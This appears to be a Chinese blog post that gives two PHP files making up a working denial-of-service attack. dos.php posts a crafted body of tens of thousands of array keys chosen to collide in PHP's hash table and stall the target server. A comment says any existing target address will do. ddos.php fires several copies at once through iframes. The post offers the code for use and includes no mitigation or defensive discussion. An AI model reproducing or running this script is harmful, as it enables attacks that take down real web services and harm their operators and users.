文件dos.php
// 目标地址
// 只要目标地址存在,不用管它是干嘛的
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&'));
var_dump($ret);
function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info['http_code'];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
文件 ddos.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>DDOS</title>
</head>
<body>
<?php
for($i=0; $i<5; $i++){//并发数
echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';
}
?>
</body>
</html>
本文提供了一段PHP实现的简单DDoS攻击代码示例,通过构造大量HTTP请求以模拟DDoS攻击行为。代码分为两个部分:dos.php用于发起单次攻击请求,ddos.php则通过多个iframe并发调用dos.php实现多次攻击。
2万+

被折叠的 条评论
为什么被折叠?



